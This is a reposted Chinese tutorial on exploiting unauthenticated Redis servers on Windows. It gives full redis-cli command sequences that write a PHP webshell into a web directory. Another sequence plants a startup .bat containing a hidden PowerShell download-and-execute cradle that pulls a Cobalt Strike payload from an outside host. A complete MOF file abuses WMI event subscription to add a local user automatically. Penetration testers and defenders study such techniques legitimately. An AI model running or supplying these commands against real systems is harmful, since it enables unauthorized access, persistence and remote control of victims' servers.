Redis未授权访问在windows下的利用

栏目: 数据库 · 发布时间: 5年前

内容简介:在某次内网渗透中遇到了redis+windows的环境,由于目标较为敏感因此在本地和uknow大佬一起进行了测试,也因此有了下面的文章。首先下载windows版本的redis

Redis未授权访问在windows下的利用

在某次内网渗透中遇到了redis+windows的环境,由于目标较为敏感因此在本地和uknow大佬一起进行了测试,也因此有了下面的文章。

环境搭建

首先下载windows版本的redis

https://github.com/dmajkic/redis/downloads

下载的 Redis 包含32位和64位操作系统,根据自己实际情况选择,本次测试使用的是64位系统。

Redis未授权访问在windows下的利用

切换到对应目录,命令行下输入 redis-server.exe redis.conf 运行redis

Redis未授权访问在windows下的利用

查看端口6379已经开放,说明Redis启动成功。

Redis未授权访问在windows下的利用

在本机使用telnet 连接靶机 telnet 192.168.1.101 6379

Redis未授权访问在windows下的利用

连接后输入info查看是否成功

Redis未授权访问在windows下的利用

也可以通过redis-cli.exe来进行连接

Redis未授权访问在windows下的利用

对于windows下的获取权限的方式,网上并不是很多,但是对于Redis未授权漏洞的利用,其最根本的原理就是写文件的利用,个人简单概括一下大致的几种(可能有考虑不周的,大佬们轻喷)
1、能够获取web绝对路径的,直接写入webshell
2、写入启动项
3、写入mof、dll劫持等

漏洞利用

写入webshell

第一种写入webshell,需要通过phpinfo或其他的报错方式来获取网站绝对路径

Redis未授权访问在windows下的利用

然后通过执行如下命令获取shell

C:UsershpDesktop64bit>redis-cli.exe -h 192.168.1.101 -p 6379
redis 192.168.1.101:6379> CONFIG SET dir c:/phpstudy/www
OK
redis 192.168.1.101:6379> CONFIG SET dbfilename evil.php
OK
redis 192.168.1.101:6379> set x “<?php phpinfo();?>”
OK
redis 192.168.1.101:6379> save
OK

Redis未授权访问在windows下的利用

查看webshell地址

Redis未授权访问在windows下的利用

写入启动项

第二种写入启动项也是和在 linux 环境下如果无法获取webshell或写入ssh-keygen情况下写入启动项一样的原理。

windows下的开机启动项的目录为

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

这边有个小细节,由于Start Menu之间有空格,因此需要用双引号将路径包含。

这种情况下获取 shell 的方式可以使用mshta,具体可以参考ukonw大佬的博客

https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html

另外的方式也有很多,内网中我现在比较喜欢msf和CS的结合,这边使用Cobalt Strike也举个栗子。

先启动CS服务端 ,命令如下:

root@kali:~/cobaltstrike# ./teamserver 192.168.1.105 233

Redis未授权访问在windows下的利用

在启动客户端,输入密码和地址

Redis未授权访问在windows下的利用

添加一个Listener 监听器

Redis未授权访问在windows下的利用

选择Attacks – Web Drive-By – Script Web Delivery,选择刚才添加的Listener

Redis未授权访问在windows下的利用

点击Launch之后生成如下代码

Redis未授权访问在windows下的利用

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.105:80/a'))"

直接保存为1.bat即可

其中存在两个小细节,一个是由于dbfile本身是有内容的,因此命令要正常运行必须先换行,经过测试需要两个换行符rn才能正常运行,还有一个是由于本身执行命令中也有双引号,因此需要加入转义

C:UsershpDesktop64bit>redis-cli.exe -h 192.168.1.101 -p 6379
redis 192.168.1.101:6379>config set dir “C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/“
OK
redis 192.168.1.101:6379> CONFIG SET dbfilename 1.bat
OK
redis 192.168.1.101:6379>set x “rnrnpowershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘ http://192.168.1.105:80/a’))”rnrn”
OK
redis 192.168.1.101:6379> save
OK

Redis未授权访问在windows下的利用

查看服务器启动项,发现正常写入命令

Redis未授权访问在windows下的利用

重启机器,服务器就上线了。

Redis未授权访问在windows下的利用

写入MOF

这个也是本次文章的原因,由于不能重启机器也无法获取web目录,想到Mof提权,不过也是有环境限制只能为win2003,也是由于当年玩提权时候很多时候都是找最简方式提权,所以没尝试过这种老式的提权方式,这次也算弥补了一下技术遗憾。

简单描述一下mof提权的原理:

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了 mysql 的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

也就是说在 c:/windows/system32/wbem/mof/ 目录下的mof文件会每5秒自动执行一次,这样就不需要重启机器就能获取权限了。

emmm 这个操作和写入ssh keygen类似,因此还是建议在linux下完成。

首先将如下代码保存为mof文件:

#pragma namespace("\\.\root\subscription")

instance of __EventFilter as $EventFilter

{

EventNamespace = "Root\Cimv2";

Name  = "filtP2";

Query = "Select * From __InstanceModificationEvent "

"Where TargetInstance Isa "Win32_LocalTime" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user 3shine admin /add")";

};

instance of __FilterToConsumerBinding

{

Consumer   = $Consumer;

Filter = $EventFilter;

};

此处要执行的命令为添加名为3shine的用户

Redis未授权访问在windows下的利用

然后执行

(echo -e "nn"; cat 3shine.txt; echo -e "nn") > foo.txt

切换到redis目录,运行如下命令

Redis未授权访问在windows下的利用

过一会就看到用户添加成功了。

Redis未授权访问在windows下的利用


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

XML Hacks

XML Hacks

Michael Fitzgerald / O'Reilly Media, Inc. / 2004-07-27 / USD 24.95

Developers and system administrators alike are uncovering the true power of XML, the Extensible Markup Language that enables data to be sent over the Internet from one computer platform to another or ......一起来看看 《XML Hacks》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

html转js在线工具
html转js在线工具

html转js在线工具